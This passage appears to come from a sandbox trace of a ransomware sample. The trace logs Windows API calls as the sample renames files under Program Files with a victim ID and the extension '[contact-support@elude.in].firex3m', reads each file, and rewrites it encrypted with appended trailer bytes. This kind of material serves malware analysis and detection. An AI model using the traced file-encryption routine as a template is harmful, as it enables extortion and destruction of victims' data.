cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5040 [0208.088] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0208.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\eclipse\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0208.088] GetProcessHeap () returned 0x630000 [0208.088] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7ea1) returned 0x726ef50 [0208.088] GetProcessHeap () returned 0x630000 [0208.088] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7ea1) returned 0x7442c98 [0208.089] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.089] ReadFile (in: hFile=0x6c8, lpBuffer=0x726ef50, nNumberOfBytesToRead=0x7e80, lpNumberOfBytesRead=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x726ef50*, lpNumberOfBytesRead=0x313ff0c*=0x7e80, lpOverlapped=0x0) returned 1 [0214.031] GetProcessHeap () returned 0x630000 [0214.031] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317fe0 [0214.031] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.031] WriteFile (in: hFile=0x6c8, lpBuffer=0x7442c98*, nNumberOfBytesToWrite=0x7e80, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7442c98*, lpNumberOfBytesWritten=0x313ff0c*=0x7e80, lpOverlapped=0x0) returned 1 [0214.032] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.032] WriteFile (in: hFile=0x6c8, lpBuffer=0x744ab17*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x744ab17*, lpNumberOfBytesWritten=0x313ff0c*=0x20, lpOverlapped=0x0) returned 1 [0214.032] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.032] WriteFile (in: hFile=0x6c8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x313ff0c*=0x4, lpOverlapped=0x0) returned 1 [0214.032] CloseHandle (hObject=0x6c8) returned 1 [0214.032] GetProcessHeap () returned 0x630000 [0214.032] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7442c98 | out: hHeap=0x630000) returned 1 [0214.032] GetProcessHeap () returned 0x630000 [0214.032] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x726ef50 | out: hHeap=0x630000) returned 1 [0214.032] GetProcessHeap () returned 0x630000 [0214.032] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317fe0 | out: hHeap=0x630000) returned 1 [0214.032] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0214.033] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fcc4 | out: lpFindFileData=0x313fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x45857390, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7eb7, dwReserved0=0xc3c7496, dwReserved1=0x726ef48, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5580 [0214.033] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0214.033] Sleep (dwMilliseconds=0x1) [0215.848] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x313ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\toastbeginupgradeth2.xml") returned 1 [0215.848] GetProcessHeap () returned 0x630000 [0215.848] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74d7f88, Size=0x4fe4) returned 0x74d7f88 [0215.848] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-de\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0215.849] CloseHandle (hObject=0x430) returned 1 [0215.849] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0215.849] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-de\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-de\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0215.850] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0215.850] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fc6c | out: lpFindFileData=0x313fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x2e006c, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5380 [0215.850] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0215.850] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-de\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0215.850] GetProcessHeap () returned 0x630000 [0215.850] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6860c8 [0215.850] GetProcessHeap () returned 0x630000 [0215.850] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x66cad0 [0215.850] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.850] ReadFile (in: hFile=0x430, lpBuffer=0x6860c8, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6860c8*, lpNumberOfBytesRead=0x313ff0c*=0x180, lpOverlapped=0x0) returned 1 [0215.853] GetProcessHeap () returned 0x630000 [0215.853] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0215.853] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.853] WriteFile (in: hFile=0x430, lpBuffer=0x66cad0*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66cad0*, lpNumberOfBytesWritten=0x313ff0c*=0x180, lpOverlapped=0x0) returned 1 [0215.853] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.853] WriteFile (in: hFile=0x430, lpBuffer=0x66cc4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66cc4f*, lpNumberOfBytesWritten=0x313ff0c*=0x20, lpOverlapped=0x0) returned 1 [0215.853] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.853] WriteFile (in: hFile=0x430, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x313ff0c*=0x4, lpOverlapped=0x0) returned 1 [0215.854] CloseHandle (hObject=0x430) returned 1 [0215.854] GetProcessHeap () returned 0x630000 [0215.854] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66cad0 | out: hHeap=0x630000) returned 1 [0215.854] GetProcessHeap () returned 0x630000 [0215.854] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6860c8 | out: hHeap=0x630000) returned 1 [0215.854] GetProcessHeap () returned 0x630000 [0215.854] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0215.854] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0215.854] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fcc4 | out: lpFindFileData=0x313fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x469c67b3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1b7, dwReserved0=0xc3c7496, dwReserved1=0x6860c0, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5280 [0215.854] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0215.854] Sleep (dwMilliseconds=0x1) [0217.296] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x313ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\toastreviewsettings.xml") returned 1 [0217.296] GetProcessHeap () returned 0x630000 [0217.296] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50cc) returned 0x6fe3bb0 [0217.296] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\et-ee\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0217.297] CloseHandle (hObject=0x714) returned 1 [0217.297] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0217.297] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\et-ee\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\et-ee\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0217.298] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.298] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fc6c | out: lpFindFileData=0x313fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebc8896, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5580 [0217.298] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0217.298] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\et-ee\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0217.298] GetProcessHeap () returned 0x630000 [0217.298] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x70f4648 [0217.298] GetProcessHeap () returned 0x630000 [0217.298] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x70f3b38 [0217.298] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.299] ReadFile (in: hFile=0x714, lpBuffer=0x70f4648, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f4648*, lpNumberOfBytesRead=0x313ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0217.301] GetProcessHeap () returned 0x630000 [0217.301] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318ad0 [0217.301] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.301] WriteFile (in: hFile=0x714, lpBuffer=0x70f3b38*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f3b38*, lpNumberOfBytesWritten=0x313ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0217.301] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.301] WriteFile (in: hFile=0x714, lpBuffer=0x70f3cd7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f3cd7*, lpNumberOfBytesWritten=0x313ff0c*=0x20, lpOverlapped=0x0) returned 1 [0217.301] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.301] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x313ff0c*=0x4, lpOverlapped=0x0) returned 1 [0217.302] CloseHandle (hObject=0x714) returned 1 [0217.302] GetProcessHeap () returned 0x630000 [0217.302] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f3b38 | out: hHeap=0x630000) returned 1 [0217.302] GetProcessHeap () returned 0x630000 [0217.302] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f4648 | out: hHeap=0x630000) returned 1 [0217.302] GetProcessHeap () returned 0x630000 [0217.302] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318ad0 | out: hHeap=0x630000) returned 1 [0217.302] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.302] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fcc4 | out: lpFindFileData=0x313fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ebc8896, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4777c0dc, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x313fd20, dwReserved1=0x70f4648, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5380 [0217.302] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0217.302] Sleep (dwMilliseconds=0x1) [0218.933] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x313ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\toastreviewsettings.xml") returned 1 [0218.933] GetProcessHeap () returned 0x630000 [0218.933] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50ec) returned 0x6fe3bb0 [0218.933] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\he-il\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0218.934] CloseHandle (hObject=0x69c) returned 1 [0218.934] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0218.934] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\he-il\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\he-il\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0218.935] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0218.935] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fc6c | out: lpFindFileData=0x313fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c1, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d4e40 [0218.935] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0218.936] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\he-il\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0218.936] GetProcessHeap () returned 0x630000 [0218.936] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x6dc910 [0218.936] GetProcessHeap () returned 0x630000 [0218.936] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x6dc328 [0218.936] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.936] ReadFile (in: hFile=0x69c, lpBuffer=0x6dc910, nNumberOfBytesToRead=0x1c0, lpNumberOfBytesRead=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc910*, lpNumberOfBytesRead=0x313ff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0218.938] GetProcessHeap () returned 0x630000 [0218.938] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0218.938] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.939] WriteFile (in: hFile=0x69c, lpBuffer=0x6dc328*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc328*, lpNumberOfBytesWritten=0x313ff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0218.939] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.939] WriteFile (in: hFile=0x69c, lpBuffer=0x6dc4e7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc4e7*, lpNumberOfBytesWritten=0x313ff0c*=0x20, lpOverlapped=0x0) returned 1 [0218.939] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.939] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x313ff0c*=0x4, lpOverlapped=0x0) returned 1 [0218.940] CloseHandle (hObject=0x69c) returned 1 [0218.940] GetProcessHeap () returned 0x630000 [0218.940] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dc328 | out: hHeap=0x630000) returned 1 [0218.940] GetProcessHeap () returned 0x630000 [0218.940] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dc910 | out: hHeap=0x630000) returned 1 [0218.940] GetProcessHeap () returned 0x630000 [0218.940] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0218.940] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0218.940] FindFirstFileW (in: lpFileName="C:\\Program 